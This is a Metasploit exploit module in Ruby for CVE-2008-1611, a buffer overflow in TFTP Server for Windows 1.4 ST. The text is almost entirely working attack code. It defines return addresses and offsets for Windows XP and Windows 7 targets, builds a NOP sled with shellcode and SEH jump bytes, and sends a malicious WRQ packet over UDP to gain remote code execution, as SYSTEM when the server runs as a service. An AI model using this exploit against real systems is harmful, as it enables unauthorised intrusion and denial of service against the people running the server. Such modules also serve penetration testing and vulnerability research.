TFTP Server for Windows 1.4 ST WRQ Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = NormalRanking  
include Msf::Exploit::Remote::Udp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw  
is due to the way TFTP handles the filename parameter extracted from a WRQ request.  
The server will append the user-supplied filename to TFTP server binary's path  
without any bounds checking, and then attempt to open this with a fopen(). Since  
this isn't a valid file path, fopen() returns null, which allows the corrupted  
data to be used in a strcmp() function, causing an access violation.  
  
Since the offset is sensitive to how the TFTP server is launched, you must know  
in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'  
, and then manually select your target accordingly. A successful attempt will lead  
to remote code execution under the context of SYSTEM if run as a service, or  
the user if run as a standalone. A failed attempt will result a denial-of-service.  
},  
'Author' =>  
[  
'Mati Aharoni', #Initial discovery, PoC  
'Datacut' #Metasploit  
],  
'References' =>  
[  
[ 'CVE', '2008-1611' ],  
[ 'OSVDB', '43785' ],  
[ 'BID', '18345' ],  
[ 'EDB', '5314' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' =>'seh',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x2f",  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.  
# possible may work for other service packs and or vista  
# Rets = P/P/R from tftpserversp.exe  
[ 'Windows XP SP2/SP3 EN Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1203} ],  
[ 'Windows XP SP2/SP3 EN Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1487} ],  
[ 'Windows 7 SP0/SP1 EN x64 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1217} ],  
[ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],  
[ 'Windows 7 SP0/SP1 EN x86 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1223} ],  
[ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]  
],  
'Privileged' => false,  
'DisclosureDate'=> 'Mar 26 2008',  
'DefaultTarget' => 4)) #TFTP is installed as a service  
  
register_options(  
[  
Opt::RPORT(69)  
], self.class)  
end  
  
  
def exploit  
connect_udp  
  
nops = make_nops(50)  
lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)  
near = "\xe9\x80\xfd\xff\xff" #jump back 640 bytes to the nop sled  
nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump  
  
evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')  
mode = "netascii"  
  
#Send the WRQ packet (header "\x00\x02")  
sploit = "\x00\x02" + evil + "\0" + mode +"\0"  
  
udp_sock.put(sploit)  
  
handler  
disconnect_udp  
end  
  
end  
`